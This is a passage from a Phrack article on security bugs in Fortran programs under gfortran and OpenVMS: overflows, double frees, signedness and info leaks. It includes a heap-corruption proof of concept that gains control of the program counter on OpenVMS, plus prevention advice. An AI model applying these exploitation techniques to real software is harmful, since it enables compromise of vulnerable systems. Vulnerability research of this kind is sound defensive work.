DWORD PTR [esp],0x28 0x080485d2 <+34>: call 0x80484cc 0x080485d7 <+39>: test eax,eax 0x080485d9 <+41>: mov ebx,eax ; p2 => p1 0x080485db <+43>: je 0x8048679 0x080485e1 <+49>: mov DWORD PTR [eax],0x2 [...] 0x08048626 <+118>: mov DWORD PTR [esp],eax 0x08048629 <+121>: call 0x804849c 0x0804862e <+126>: mov DWORD PTR [ebx],0x3 ; BUG!!! [...] -----END POINTER 4----- So not only does the compiler nothing but still the bug is really there. Oh man Fortran is just like C after all :) With that in mind, it's rather obvious that doublefree() are possible and indeed they are: -----BEGIN DFREE 1----- $ cat double_free.f90 SUBROUTINE check(x,L) CHARACTER, TARGET :: x(L) CHARACTER, POINTER :: p(:) INTEGER I p => x DO I=1,L IF (ichar(p(I)) .lt. ichar('A')) THEN goto 100 END IF IF (ichar(p(I)) .gt. ichar('Z')) THEN goto 100 END IF END DO RETURN 100 write(*,*) '[-] Warning argument is fucked !!!' DEALLOCATE(p) ! If the argument has an invalid character ! then it's free()ed. END SUBROUTINE PROGRAM double_free [...] call check(q,realsize) write(*,*) '[+] First argument is ', q deallocate(q) ! Second free() [...] $ ./double_free ACAAAAAAZ [+] First argument is ACAAAAAAZ $ ./double_free ACAAAAAAZ- [-] Warning argument is fucked !!! [+] First argument is AAAAZ- *** glibc detected *** ./double_free: double free or [...] [...] -----END DFREE 1----- The shit behind ALLOCATE() --------------------------- We all know that in C allocation of a user supplied size can be dangerous if not well handled as it can have side effects. Common problems include too large request which would ultimately result in a NULL being returned or integer overflows in the calculus of the size. Since ALLOCATE() is no more than a wrapper of malloc() all of these problems can occur. However there is an even more vicious one. Let's play a little bit: -----BEGIN ALLOCATE----- $ cat allocate.f90 PROGRAM allocate1 IMPLICIT NONE INTEGER(1) :: M1 CHARACTER, DIMENSION(:), ALLOCATABLE :: C write(*,*) 'How much objects should I allocate ?' read(*,*) M1 ALLOCATE(C(M1)) END PROGRAM $ gfortran allocate.f90 $ ltrace -e malloc ./a.out How much objects should I allocate ? 16 malloc(16) <-- Ok = 0x09eed9a0 +++ exited (status 0) +++ $ ltrace -e malloc ./a.out How much objects should I allocate ? 0 malloc(1) <-- WTF ??? = 0x082a69a0 +++ exited (status 0) +++ $ ltrace -e malloc ./a.out How much objects should I allocate ? -20 malloc(1) <-- WTF (again) ??? = 0x089e99a0 +++ exited (status 0) +++ -----END ALLOCATE----- Wait, something is weird. Why is there a malloc(1)??? A short look at GDB and we have the following dead listing: ------------------------------------------------------ 0x080487fa <+170>: lea eax,[ebp-0x9] ; eax = &M1 0x080487fd <+173>: mov DWORD PTR [esp+0x4],eax 0x08048801 <+177>: mov DWORD PTR [esp+0x8],0x1 0x08048809 <+185>: mov DWORD PTR [esp],ebx 0x0804880c <+188>: call 0x804862c <_gfortran_transfer_integer@plt> ; read(stdin, &M1, 1) [...] 0x08048819 <+201>: movzx edx,BYTE PTR [ebp-0x9] ; edx = M1 0x0804881d <+205>: mov eax,0x1 ; eax = 1 0x08048822 <+210>: test dl,dl 0x08048824 <+212>: jle 0x8048836 ; if(dl <= 0) ; malloc(eax) 0x08048826 <+214>: mov eax,edx [...] 0x08048836 <+230>: mov DWORD PTR [esp],eax 0x08048839 <+233>: call 0x804865c [...] ------------------------------------------------------- So when a null or a negative size is supplied, malloc allocates 1 byte. Why such a strange behavior? I must confess that I couldn't find any satisfying answer but the most important thing is: if the user can supply a negative length then a really tiny allocation is done which is really prone to heap corruptions. So nice :) ---[ 3.4 - Other interesting bugs Talking about insecure programming in Fortran would not be complete without what's following. Despite not being as important, it might become handy in a few situations. Uninitialised data ------------------ The first thing to notice is that it's perfectly legal to use variables without properly initializing them: -----BEGIN UNINITIALIZED 1----- $ cat uninitialized.f90 PROGRAM uninitialized INTEGER :: I, J, XXXX DO I=0,20 J = J + 1 END DO write(*,*) J, XXXX END PROGRAM $ gfortran uninitialized.f90 $ ./a.out 148818352 -1215630400 $ ./a.out 135645616 -1215855680 -----END UNINITIALIZED 1----- The compiler did not complain whereas J and XXXX were clearly not properly set. Thanks to the ASLR we have the proof that there is no default value which results in an information leak of the stack. Information leak ---------------- There are a lots of possible situations in which an info leak could occur. I've found a couple of them and there are probably even more. *) The (in)direct access to uninitialized data. This situation is the direct consequence of what was explained previously. *) As said in Chap 3.1, in a few situations you will be able to control the index used to access arrays or strings. Now depending on the nature of the access (read or write) you will either have an info leak or a memory corruption. The following example is a perfect illustration: -----BEGIN LEAK 1----- $ cat leak1.f90 PROGRAM LEAK INTEGER :: C(10) C = Z'41414141' DO I=0,size(C)-1 write(*,*) C(I) END DO END PROGRAM $ gfortran leak1.f90 $ ./a.out 1 <-- C(0) is out of bounds 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 $ -----END LEAK 1----- *) Something which is sometimes not well understood is the string initialization. This could turn to our advantage :) -----BEGIN LEAK 2----- $ cat leak2.f90 PROGRAM leak2 CHARACTER(len=20) :: S S(1:4) ='AAAA' write(*,*) S END PROGRAM $ gfortran leak2.f90 $ ./a.out AAAA.... <-- info leak -----END LEAK 2----- The mistake in the previous code was to use an index for initialization purpose. Indeed the proper way would be to do: S = 'AAAA' which would set the 4 first characters to 'A' and the 16 remaining to ' ' (the space character as there is no use of '\0' in Fortran). Note that Phrack publications are intrinsically not compatible with info leaks due to 7bits ASCII constraints. OK OK lame joke, forgive me ;-) --- ---[ 4 - Back to the good ol' OpenVMS friend For the vast majority of post 80s hackers, OpenVMS is without a doubt a strange beast. It's not UNIX and the DCL syntax seems insane (in fact it is as it could take you a while to figure out how to change the current path). But contrary to other old and insanely fucked OS like AIX (hey now you have a non exec stack! So _impressive_ ... ), it's an interesting challenge to hack it. People may argue that it's also so specific that you might never cross one in your lifetime so why choosing it? Hum. Let's say that: *) it's not _that_ rare. Though you may probably not see lots of them on the Internet, there are still a plenty of them in production [R8]. *) it's one of the few platforms really using Fortran nowadays. UNIX itself though useful for teaching purpose is not representative. *) both the OS, the architecture (alpha, itanium), and the compiler (HP) are different. A differential will help us to find out the bug classes that may be platform dependant. A recent and interesting blackhat presentation gave the first clues about how to exploit basic overflows on this OS [R9]. This will not be repeated though the special case of heap overflow is detailed in Chap 4.2. Notes: *) I tried as much as possible not to refer to the Alpha asm as it's really ugly (and deadlisting are too much verbose unfortunately). The readers willing to become familiar with this architecture should read the excellent [R12]. *) If you want to experiment OpenVMS, I recommend you to play with the excellent "Personal Alpha" which is able to run OpenVMS iso. Another interesting solution is to play with free shells such as the ones provided by the Deathrow OpenVMS cluster (thx guyz btw) [R20]. ---[ 4.1 - Common Fortran bugs .vs. OpenVMS Let's get straight to the point: almost every type of bugs presented also exists with the VMS compiler. However, due to the implementation of the language, a few differences exist. Note: The tests were performed on OpenVMS 8.3 (Alpha architecture). The stack overflow case ----------------------- Let's play with the (slightly modified) 'CAST 2' example: -----BEGIN VMS STACK OV 1----- $ type cast2.f90 SUBROUTINE dump(S) CHARACTER(len=20) :: S S = 'AAAA' write(*,fmt='(A,A)') ' S=',S END SUBROUTINE PROGRAM cast2 CHARACTER(len=10) :: X X = 'ZZZZZZZZZZZ' write(*,fmt='(A,Z10)') '\&X=', %LOC(X) CALL dump(X) END PROGRAM $ fort cast2 $ lin cast2 $ r cast2 &X= 40000 <-- the local buffer is _not_ on the stack S=AAAA -----END VMS STACK OV 1----- So there is no crash and the local buffer is not a stack buffer. Let's dig a little bit more with the debugger: -----BEGIN VMS STACK OV 2----- $ r /debug cast2 [...] DBG> go &X= 40000 S=AAAA %DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion' DBG> dump /hex %hex 40000:%hex 40080 20202020 20202020 20202020 41414141 AAAA 0000000000040000 00000000 00000000 00000000 20202020 ............ 0000000000040010 00000000 00000000 00000000 00000000 ................ 0000000000040020 [..] -----END VMS STACK OV 2----- OK so there is an overflow since 20 bytes are written but it's _not_ a 'stack' overflow. Troublesome isn't it? Can we exploit it since we cannot corrupt the saved registers? Hum. I would say that the exploitation of such a bug is without a doubt heavily dependant of the context. If metadata can be overwritten then there may be a way to exploit the program, if not it seems quite unlikely... :< The implicit typing ------------------- Let's quote the "HP Fortran for OpenVMS Language Reference Manual": --- Chap 3.5.1.2 Implicit Typing Rules "By default, all scalar variables with names beginning with I, J, K, L, M, or N are assumed to be default integer variables. Scalar variables with names beginning with any other letter are assumed to be default real variables. [...]" --- As a result, if the documentation is correct, there should be an overflow. Let's verify it: -----BEGIN IMPLICIT TYPE 3----- $ type implicit_typing3.f90 SUBROUTINE set(I) write(*,*) 'How much do u want to read dude ?' read(*,*) I END SUBROUTINE PROGRAM IMPLICIT_TYPING IMPLICIT NONE INTEGER(1) :: A, B A = 0 B = 0 write(*,fmt='(A,Z10),(A,Z20)') ' A=',A , '\&A=', %LOC(A) write(*,fmt='(A,Z10),(A,Z20)') ' B=',B , '\&B=', %LOC(B) CALL set(B) B = B + 140 write(*,*) 'A=',A,'B=',B END PROGRAM $ fort implicit_typing $ lin implicit_typing $ r /debug implicit_typing [...] DBG> go A= 0 &A= 40008 [L1] B= 0 &B= 40000 [L2] How much do u want to read dude ? 2147483647 A= 0 B= -117 [L3] %DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion' DBG> dump /hex %hex 40000 : %hex 40010 00000000 00000000 00000000 7FFFFF8B ................ 0000000000040000 [L4] 00000000 .... 0000000000040010 -----END IMPLICIT TYPE 3----- *) Since &A - &B = 8, an overflow of at least 9 bytes would be required to corrupt A from B ([L1],[L2]). *) The memory dump proves that the implicit behavior is exactly what is described in the reference manual [L4]. *) Unless the compiler was smart enough to allocate space on the stack to prepare the manipulation in set(), there is clearly an overflow as B is definitely a 1 byte buffer in the MAIN_() [L3]. The signedness issue -------------------- As stated earlier, Fortran's integers are signed which means that it's not possible to have signedness bugs unless there is a cast induced by an external function call. Let's see a short example using the LIB$MOVC3() function wich is similar to the memcpy() from libc: -----BEGIN SIGNED 1----- SUBROUTINE copy(S,L) INTEGER(2) L CHARACTER D(80) ! Destination buffer CHARACTER*(*) S write(*,fmt='(A,Z10),(A,Z20)') ' Len=',L , '\&Len=', %LOC(L) write(*,fmt='(A,Z10),(A,Z20)') '\&D=', %LOC(D), '\&S=',%LOC(S) ! This C function will perform the copy CALL LIB$MOVC3(L,%REF(S),%REF(D)) [L2] write(*,*) 'D is ', D END SUBROUTINE PROGRAM CMOOV CHARACTER(16) Guard0 CHARACTER(80) S CHARACTER(16) Guard1 INTEGER(2) length write(*,fmt='(A,Z10)') '\&Guard0=',%LOC(Guard0) write(*,fmt='(A,Z10)') '\&Guard1=',%LOC(Guard1) write(*,*) '1. Buffer string?' read(*,*) S write(*,*) '2. String len?' read(*,*) length ! Secure check IF (length .gt. 80) THEN [L1] write(*,*) 'S is too long man ...', length STOP END IF DO I=1,len(Guard0) Guard0(I:I) = 'Y' Guard1(I:I) = 'Z' END DO write(*,*) '3. Copying ... ' CALL copy(S,MIN(len_trim(S),length)) END PROGRAM -----END SIGNED 1----- *) A security check is performed in [L1]. However due to the signedness issue, a user may be able to bypass it by suppling a negative value. *) The copy function is called with the negative size [L2]. As expected, LIB$MOVC3() implicitly castes the integer as unsigned and if a negative length is supplied, a crash occurs. -----BEGIN SIGNED 2----- $ r /debug MOVC3 [...] DBG> go &Guard0= 40068 &Guard1= 40058 1. Buffer string? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2. String len? 16 <-- let's first copy 16 bytes 3. Copying ... Len= 10 &Len= 7AE3DA58 <-- stack address &D= 40000 <-- global data address &S= 40078 <-- global data address D is AAAAAAAAAAAAAAAA <-- copy was successful %DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion' DBG> dump /hex %hex 40000:%hex 40100 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000 00000000 00000000 00000000 00000000 ................ 0000000000040010 00000000 00000000 00000000 00000000 ................ 0000000000040020 00000000 00000000 00000000 00000000 ................ 0000000000040030 00000000 00000000 00000000 00000000 ................ 0000000000040040 5A5A5A5A 5A5A5A5A 00000000 00000010 ........ZZZZZZZZ 0000000000040050 59595959 59595959 5A5A5A5A 5A5A5A5A ZZZZZZZZYYYYYYYY 0000000000040060 41414141 41414141 59595959 59595959 YYYYYYYYAAAAAAAA 0000000000040070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040080 20202020 20202020 41414141 41414141 AAAAAAAA 0000000000040090 20202020 20202020 20202020 20202020 00000000000400A0 20202020 20202020 20202020 20202020 00000000000400B0 00000000 00000000 20202020 20202020 ........ 00000000000400C0 00000000 00000000 00000000 00000000 ................ 00000000000400D0 00000000 00000000 00000000 00000000 ................ 00000000000400E0 00000000 00000000 00000000 00000000 ................ 00000000000400F0 00000000 .... 0000000000040100 [...] DBG> go &Guard0= 40068 &Guard1= 40058 1. Buffer string? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2. String len? -1 3. Copying ... Len= FFFF <--- We are requesting a 65535 bytes copy &Len= 7AE3DA58 &D= 40000 &S= 40078 %SYSTEM-F-ACCVIO, access violation, reason mask=00, virtual address=0000000000042000, PC=FFFFFFFF80C85234, PS=0000001B [...] DBG> dump /hex %hex 40000:%hex 40100 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040010 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040020 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040030 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040040 00000000 00000000 00000000 00000000 ................ 0000000000040050 00000000 00000000 00000000 00000000 ................ 0000000000040060 00000000 00000000 00000000 00000000 ................ 0000000000040070 00000000 00000000 00000000 00000000 ................ 0000000000040080 00000000 00000000 00000000 00000000 ................ 0000000000040090 00000000 00000000 00000000 00000000 ................ 00000000000400A0 00000000 00000000 00000000 00000000 ................ 00000000000400B0 00000000 00000000 00000000 00000000 ................ 00000000000400C0 00000000 00000000 00000000 00000000 ................ 00000000000400D0 00000000 00000000 00000000 00000000 ................ 00000000000400E0 00000000 00000000 00000000 00000000 ................ 00000000000400F0 00000000 .... 0000000000040100 -----END SIGNED 2----- Comparing the difference between both executions, it's easy to see that the overflow was effective as Guard0, Guard1, S and even length were overwritten. The crash occurs during the copy because of the guard page located at 0x42000 (the page is not mmaped). This case is probably not exploitable but is sufficient to prove the reality of signedness bugs on a VMS environnement. Is such a situation likely to happen? Fortunately, yes. Indeed, HP is nice enough to make easy the use of the VMS API in every supported language. For example you will see countless examples in the official documentation explaining how to call VMS functions when programming in Fortran, VAX asm, C, etc. A bit of googling confirmes it. ---[ 4.2 - Playing with the heap Like I said before, OpenVMS developers usually tend (even in Fortran) to use the VMS native RTL API which is far more granular than the classical C malloc/free functions [R13]. However, ALLOCATE() and DEALLOCATE() could be chosen for portability purpose which is why we focus on them in this study. What will be shown below are the global algorithms behind malloc/free and ALLOCATE/DEALLOCATE as they are almost the same (if not exactly the same). More generally, it is believed that this result could easily be transposed to the VMS kernel heap [R14] though the adaptation itself is left as an exercise for the reader. Understanding the VMS malloc/free API ------------------------------------- Unallocated memory is grouped into "bins" of (almost) similar sizes, implemented by using a single-linked list of chunks (with a pointer stored in the unallocated space inside the chunk) as illustrated below: +-------+ +-------+ +-------+ | Bin X |---->| Chunk |---->| 0x0 | +-------+ +-------+ +-------+ | ... | +-------+ +-------+ +-------+ +-------+ +-------+ | Bin Y |---->| Chunk |---->| Chunk |---->| Chunk |---->| 0x0 | +-------+ +-------+ +-------+ +-------+ +-------+ | ... | +-------+ +-------+ | Bin Z |---->| 0x0 | +-------+ +-------+ In this particular case, at least 4 free() have already been performed. Now let's have a look at the chunk 'returned' by malloc(): 4 bytes <-------------------------------------> <--------> 1 byte chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SIZE | +-------------------------------------+ | tag = 0xF00D | Bin_ID | 0x00 | mem -> +-------------------------------------+ | | . . . DATA . . . | | + + + + + + + + + + + + + + + + + + + + With : *) SIZE: the size of the chunk in bytes. It may be rounded. *) 0xF00D: a tag which indicates that the chunk is allocated. *) Bin_ID: The ID of the Bin corresponding to the allocated SIZE. *) mem: the pointer returned by malloc() or ALLOCATE(). If the user performs a free() or a DEALLOCATE() on this chunk, a slight modification occurs: 4 bytes <-------------------------------------> <--------> 1 byte chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SIZE | +-------------------------------------+ | tag = 0x7777 | Bin_ID | 0x00 | mem -> +-------------------------------------+ | NEXT_MEM | +-------------------------------------+ | | . . . free (uncleaned) space . . . | | + + + + + + + + + + + + + + + + + + + + With: *) SIZE and Bin_ID being unchanged. *) 0x7777: a tag indicating that the chunk is not allocated anymore. *) NEXT_MEM: a pointer to the next chunk's mem of the same bin. It can be the NULL pointer if there is no more free chunks in the list. Note: It may sound silly not to point to the next 'chunk' directly but that's how things are done friends. The free() algorithm is somewhat basic and can essentially be described using the following pseudo code: -----BEGIN free()----- free(void *p): CHUNK *c, *head; c = chunk_from_mem(p); c->tag = 0x7777; head = get_head_from_chunk(c); [L1] c->NEXT_MEM = head->first; [L2] head->first = c; [L3] -----END free()----- So in the end, a free() is 'almost' equivalent to an element insertion in a single list. In practice, the real allocator may well be a bit more complex as I didn't investigate the chunks splitting/fusion mechanisms (if any). Note that a free()ed chunk will become the first of the corresponding single chained list, something to keep in mind. The malloc() function is pretty straightforward: -----BEGIN malloc()----- void *malloc(size_t s): CHUNK *c, *head; size_t s_new = ROUND(s); head = get_head_from_size(s_new); [M1] if(!head->first) { [...] } c = head->first; [M2] c->tag = 0xF00D; [M3] head->first = c->NEXT_MEM; [M4] return (mem_from_chunk(c)); -----END malloc()----- A malloc() is the removal of a chunk from the corresponding chained list. Note that the first chunk of the list will be the first to be removed. If the list is empty, a special treatment is performed but we don't care about that. Taking advantage of the overflow -------------------------------- Exploiting an heap overflow can be done using at least two techniques: *) The (partial) overwrite of metadata stored on the heap. Depending on where and how much you can overflow, this might be interesting especially since function pointers could be stored there. *) The fake chunk insertion. The idea is to make malloc returning an address pointing to a chosen area (like the stack). The normal use of the buffer will then lead to the control of the process. Since the first technique is no news, let's see how to perform the second one. In order to do that, we'll play with following C code: -----BEGIN HEAP VMS 1----- // Allocation int *p = malloc(100); int *q = malloc(100); memset(p, 0x41, 100); memset(q, 0x42, 100); free(q); [N1] // heap overflow memcpy(p, user_buff, user_size); [N2] -----END HEAP VMS 1----- In order to simplify things, we'll assume that there was no previous allocation in the same BIN. Let's visualize the heap layout: Before [N1] Before [N2] After [N2] [ 00000070 ] [ 00000070 ] [ 00000070 ] [ f00d3d00 ] [ f00d3d00 ] [ f00d3d00 ] p -> [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ ... ] [ ... ] [ ... ] [ 00000070 ] [ 00000070 ] [ 55555555 ] [ f00d3d00 ] [ 77773d00 ] user -> [ 55555555 ] q -> [ 42424242 ] [ 00000000 ] supplied [ 00000000 ] [ 42424242 ] [ 42424242 ] pointer [ 42424242 ] Now regarding the associated linked list, we have the following evolution: +------------+ +------------+ 1. | Bin 0x3d |---->| 0x00000000 | +------------+ +------------+ +------------+ +------------+ +------------+ 2. | Bin 0x3d |---->| q |---->| 0x00000000 | +------------+ +------------+ +------------+ +------------+ +------------+ +------------+ 3. | Bin 0x3d |---->| q |---->| 0x55555555 | +------------+ +------------+ +------------+ As a result, the linked list of our bin is corrupted and q->NEXT_MEM is user supplied. To prove that fact, we can dereference q->NEXT_MEM as it will lead to a program crash. This is possible thanks to [M4] if two malloc(100) are performed after the corruption: -----BEGIN HEAP VMS 2----- VMS $ r POC [...] 0000447d0: 41414141 41414141 41414141 41414141 0000447e0: 41414141 41414141 41414141 41414141 0000447f0: 41414141 41414141 41414141 41414141 000044800: 41414141 55555555 55555555 f00d5555 [O1] 000044810: 55555555 42424242 42424242 42424242 000044820: 42424242 42424242 42424242 42424242 000044830: 42424242 42424242 42424242 42424242 000044840: 42424242 42424242 42424242 42424242 [...] %SYSTEM-F-ACCVIO, access violation, [...] virtual address=0000000055555555 %TRACE-F-TRACEBACK, symbolic stack dump follows image module routine line rel PC abs PC LIBRTL 0 000000000000610C FFFFFFFF80C2E10C LIBRTL ? ? DECC$SHR_EV56 0 0000000000052710 FFFFFFFF80DDE710 DECC$SHR_EV56 ? ? POC POC main 4210 00000000000003BC 00000000000203BC POC POC __main 4128 000000000000006C 000000000002006C -----END HEAP VMS 2----- It's interesting to see that _fortunately_ size doesn't matter ;). Indeed free() is not 'really' looking at what's written in the corrupted chunk's header [O1] (size, allocation tag, ...). Great for us it makes things even easier. However something really important is that the corruption would seemingly not have been possible if q was allocated as: *) if q was allocated then it wouldn't be part of the list. *) and if q was free()ed _after_ the corruption then q->NEXT_MEM would naturally be overwritten by free(). There might be a way to trick the allocator so that an arbitrary free() is performed but I couldn't find any way to do that probably because my knowledge of the allocator algorithm is rather limited. At that point, we've almost won as we successfully inserted a fake chunk in the linked list. As a result, writing will be performed at a user supplied address. However depending on the context, we may or may not be able to sufficiently control _what_ will be written: *) If we cannot control the payload then a F00D delivery is still possible thanks to [M3]. If we can make the program perform the two necessary allocations, then the program will write 0xF00D at 'addr' if NEXT_MEM is overwritten with 'addr+2'. If you plan to exploit the least significant bits of a pointer then you can probably improve the technique with an F0 overwrite if the data located immediately before can be partially corrupted. Note: Starving hackers would probably have thought of turning F00D into 0D but remember that Alpha is big endian. *) If we can control the payload, then the best way is probably to overwrite the PC address saved on the stack (there is no ASLR folks). Back on our feets [R9]: -----BEGIN HEAP VMS 3----- VMS $ type poc.F90 PROGRAM POC INTEGER(4), POINTER :: P(:) INTEGER(4), POINTER :: Q(:) INTEGER(4), POINTER :: M(:) INTEGER(4), POINTER :: P2(:) INTEGER(4) :: I ALLOCATE(P(100)) ALLOCATE(Q(100)) ! Debugging purpose P = 'AAAA' Q = 'BBBB' write(*,fmt='(A,Z10)') ' P=',%LOC(P) write(*,fmt='(A,Z10)') ' Q=',%LOC(Q) P2 => P DEALLOCATE(Q) ! Fake heap overflow P2(101) = Z'55555555' P2(102) = Z'55555555' P2(103) = Z'55555555' P2(104) = Z'55555555' P2(105) = Z'7AE3D910' + 100 ! fixed to work ;) write(*,*) "******** AFTER CORRUPTION ************" ALLOCATE(M(100)) write(*,*) "******** AFTER MALLOC 1 ************" ALLOCATE(M(100)) write(*,fmt='(A,Z10)') ' FAKE CHUNK AT ',%LOC(M) ! Simulating a user supplied payload DO I=1,80 M(I) = Z'44444444' END DO END PROGRAM VMS $ FORT poc VMS $ LIN poc VMS $ r poc P= 52008 Q= 521A8 ******** AFTER CORRUPTION ************ ******** AFTER MALLOC 1 ************ FAKE CHUNK AT 7AE3D974 %SYSTEM-F-ACCVIO, [...] PC=4444444444444444, PS=0000001B %TRACE-F-TRACEBACK, symbolic stack dump follows image module routine line rel PC abs PC 0 4444444444444444 4444444444444444 -----END HEAP VMS 3----- Note: The stack address is hardcoded but this is not a big issue as there is no ASLR :). One step further ---------------- OK a few more things and we're done with OpenVMS (anyway at that point you're probably either sleeping already or reading a much more interesting article of this issue ;)). 1) I came across this funny thing while reading HP's documentation [R11]: --- Chap 5.9.5 2-GB malloc No Longer Fails Silently The C RTL malloc function accepts an unsigned int (size_t) as its parameter. The LIB$VM_MALLOC action accepts a (positive) signed integer as its parameter. Allocating 2 GB (0x80000000) did not allocate the proper amount of memory and did not return an error indication. A check is now added to the malloc, calloc, and realloc functions for sizes equal to or greater than 2 GB that fail the call. --- WOWOWOWO jackpot :) Who said this _could_ have security consequences? ;> 2) I investigated the ALLOCATE(size) issue under OpenVMS Alpha 8.3 and the result is that if size <= 0 and size >= -0x80000000 then the address 0x100 is returned (if size < -0x80000000 an input conversion occurs (%FOR-F-INPCONERR)). Since the 0x100 address is not mmaped, the only way to exploit this situation would be to dereference the pointer using a sufficiently great index to access user controlled data. While this is theoretically feasible since memory regions are mmaped at low addresses, a practical case has yet to be found. --- ---[ 7 - Prevention: lets use a condom Now is the time to think about how to avoid security troubles with Fortran programs. In order to do that, several things (more or less effective) can be done: *) A careful review of the source code. Believe me, it's not that easy. To properly perform that, you have to know the language deeply and being well aware of its weaknesses. Depending on your level of mastery, bugs may still be left as Fortran really is a vicious language. Mastering this paper for example is probably far from being enough. *) The study of your Fortran compiler. Try to find what kind of bugs are likely to be found/exploited with your compiler. A good starting point is probably to have a look at the "Compiler Diagnostic Test Sets" project [R17]. Not only will you find accurate information about several compilers but you will also find new kind of bugs (though not always security related) as well as a precious test set. *) Read the manpage of your compiler to see if compile/runtime extra security checks could be performed. Let me show you an example. Remember that in Chap 3.1 I gave the following example: -----BEGIN OVERFLOW 1----- $ cat overflow1.f90 PROGRAM test CHARACTER(len=30) :: S ! String of length 30 INTEGER(4) I S = 'Hello Phrack readers!' read(*,*) I S(I:I) = '.' write(*,*) S END PROGRAM $ gfortran overflow1.f90 $ ./a.out He.lo Phrack readers! <-- S was modified with 0x2E $ gdb ./a.out [...] (gdb) r Starting program: a.out 50 <-- 50 is clearly out of scope! (>30) Breakpoint 1, 0x080487be in MAIN__ () (gdb) print /d $eax $1 = 50 (gdb) c Hello Phrack readers! Program received signal SIGSEGV, Segmentation fault. 0x2e04885b in ?? () <-- EIP was corrupted with 0x2E -----END OVERFLOW 1----- Now let's see what happens when the '-fbounds-check' option is used: -----BEGIN OVERFLOW 2----- $ gfortran overflow1.f90 -fbounds-check $ ./a.out [Type 50] At line 7 of file overflow1.f90 Fortran runtime error: Substring out of bounds: upper bound (50) of 's' exceeds string length (30) $ ./a.out [Type -1] At line 7 of file overflow1.f90 Fortran runtime error: Substring out of bounds: lower bound (-1) of 's' is less than one -----END OVERFLOW 2----- As expected, the program now includes runtime checks. Depending on the bug class, the compiler may have a specific option to prevent or detect it. RTFM. *) Static analysis. Well to be honest I didn't investigate it at all. While digging for this article, I came across a couple of opensource projects as well as commercial implementations (sorry NO ADVERTISING in PHRACK dudes). While I didn't test any of them, I can imagine that there may effective ones as some kind of bugs would really be easy to spot using for example type checking (first thing that comes to my mind). Anyway it's just mere speculation. Either test it or forget it. Like we care anyway. Sometimes a condom is not enough. The best for you is probably not to use this insanely fucked language. Once again, who cares about Fortran anyway? [ http://www.fortranstatement.com/cgi-bin/petition.pl ] --- ---[ 8 - The final words There would have been a lot more to add (studying other compilers/arch) but unfortunately time is running out and I would rather not make the paper more boring than it currently is ;) Anyway as far as I can tell, the essential is covered and with that in mind and a bit of practice, I expect you to be able to quickly find new bugs. Hackers dealing with/busting/exploiting bugs in Fortran programs are so rare in our World that I bet that none of you had ever heard a word about Fortran's security issues. Nowadays people are more focused on languages such as PHP, Java or .NET which is normal for obvious reasons. Now it doesn't mean that other languages are not interesting too and you never know when appropriate knowledge becomes handy. History proved that bugs not always occurred in the 'daily' hacking playground (C/PHP, Unix/Windows) [R19] so why would we restrain ourselves? Not convinced? OK allow me to alter the smart thoughts of a fellow p67 writer: "We hack Fortran just because we can. We don't really need a reason anyway as soon as bugs are there, we are there." --- ---[ 8 - Greetz My first thoughts are for all talented hackers with whom I had so much to share all these years. May you guys never lose that spirit of yours nor your ethics [R15]. Special thanks to the Phrack staff for their help, advise and review. Now and because alone life would have no meaning, special thanks to my friends not only for being there but also for being able to support me especially when I'm *cranky* as hell :') Special apologize to the great guys of the FHC (Fortran High Council). Just for once I wanted to be as cool as king-fag-c0pe though it probably means that it's a matter of days before witnessing the bust of all cool Fortran 0dayZ on FD :((( Don't be afraid sysadmins, thanx to gg security folks everything will be done in a 'responsible' way [R16] ;> Also thanks to all of you who will nominate this paper at the 2011 pwnies award as the "most innovative research paper" ;> --- ---[ 9 - Bibliography [R1] http://onepiece.wikia.com/wiki/Buggy [R2] Fortran90, ISO/IEC 1539 [R3] http://gcc.gnu.org/onlinedocs/gfortran/ [R4] HP Fortran for OpenVMS - Language Reference Manual, HP [R5] Shifting the Stack Pointer, andrewg, Phrack #63 [R6] Basic Integer Overflows, Blexim, Phrack #60 [R7] http://www.cs.rpi.edu/~szymansk/OOF90/bugs.html [R8] http://h71000.www7.hp.com/success-stories.html [R9] Hacking OpenVMS, C. Nyberg, C. Oberg & J. Tusini, Defcon16 [R10] http://www.cisl.ucar.edu/tcg/consweb/Fortran90/scnpoint.html [R11] HP OpenVMS Version 8.3 Release Notes, HP [R12] Alpha Assembly Language Guide, R.Bryant, Carnegie Mellon University [R13] http://labs.hoffmanlabs.com/node/401 [R14] OpenVMS Alpha Internals and Data Structures: Memory Management, HP [R15] Industry check, ZF0 #5 [R16] http://googleonlinesecurity.blogspot.com/2010/07/rebooting- responsible-disclosure-focus.html (lol) [R17] http://ftp.cac.psu.edu/pub/ger/fortran/test/results.txt [R18] http://www.fortranstatement.com [R19] http://www5.in.tum.de/persons/huckle//horrorn.pdf [R20] http://deathrow.vistech.net --- That is the saving of humor, if you fall no one is laughing at you. A. Whitney Brown --- --------[ EOF ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0c of 0x10 |=-----------------------------------------------------------------------=| |=------------------=[ P H R A C K E R Z: Two Tales ]=-------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ Antipeace and The Analog Kid ]=------------------=| |=-----------=[ antipeace@phrack.org / 